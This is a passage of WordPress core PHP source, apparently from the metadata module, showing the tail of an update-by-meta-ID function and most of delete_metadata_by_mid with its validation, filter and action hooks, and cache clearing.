}
// Run the update query, all fields in $data are %s, $where is a %d.
$result = $wpdb->update( $table, $data, $where, '%s', '%d' );
if ( ! $result ) {
return false;
}
// Clear the caches.
wp_cache_delete( $object_id, $meta_type . '_meta' );
/** This action is documented in wp-includes/meta.php */
do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
if ( 'post' === $meta_type ) {
/** This action is documented in wp-includes/meta.php */
do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
}
return true;
}
// And if the meta was not found.
return false;
}
/**
* Deletes metadata by meta ID.
*
* @since 3.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $meta_id ID for a specific meta row.
* @return bool True on successful delete, false on failure.
*/
function delete_metadata_by_mid( $meta_type, $meta_id ) {
global $wpdb;
// Make sure everything is valid.
if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
return false;
}
$meta_id = (int) $meta_id;
if ( $meta_id <= 0 ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
// Object and ID columns.
$column = sanitize_key( $meta_type . '_id' );
$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';
/**
* Short-circuits deleting metadata of a specific type by meta ID.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
* Returning a non-null value will effectively short-circuit the function.
*
* Possible hook names include:
*
* - `delete_post_metadata_by_mid`
* - `delete_comment_metadata_by_mid`
* - `delete_term_metadata_by_mid`
* - `delete_user_metadata_by_mid`
*
* @since 5.0.0
*
* @param null|bool $delete Whether to allow metadata deletion of the given type.
* @param int $meta_id Meta ID.
*/
$check = apply_filters( "delete_{$meta_type}_metadata_by_mid", null, $meta_id );
if ( null !== $check ) {
return (bool) $check;
}
// Fetch the meta and go on if it's found.
$meta = get_metadata_by_mid( $meta_type, $meta_id );
if ( $meta ) {
$object_id = (int) $meta->{$column};
/** This action is documented in wp-includes/meta.php */
do_action( "delete_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value );
// Old-style action.
if ( 'post' === $meta_type || 'comment' === $meta_type ) {
/**
* Fires immediately before deleting post or comment metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta
* object type (post or comment).
*
* Possible hook names include:
*
* - `delete_postmeta`
* - `delete_commentmeta`
* - `delete_termmeta`
* - `delete_usermeta`
*
* @since 3.4.0
*
* @param int $meta_id ID of the metadata entry to delete.
*/
do_action( "delete_{$meta_type}meta", $meta_id );
}
// Run the query, will return true if deleted, false otherwise.
$result = (bool) $wpdb->delete( $table, array( $id_column => $meta_id ) );
// Clear the caches.
wp_cache_delete( $object_id, $meta_type . '_meta' );
/** This action is documented in wp-includes/meta.php */
do_action( "deleted_{$meta_type}_meta", (array) $meta_id,
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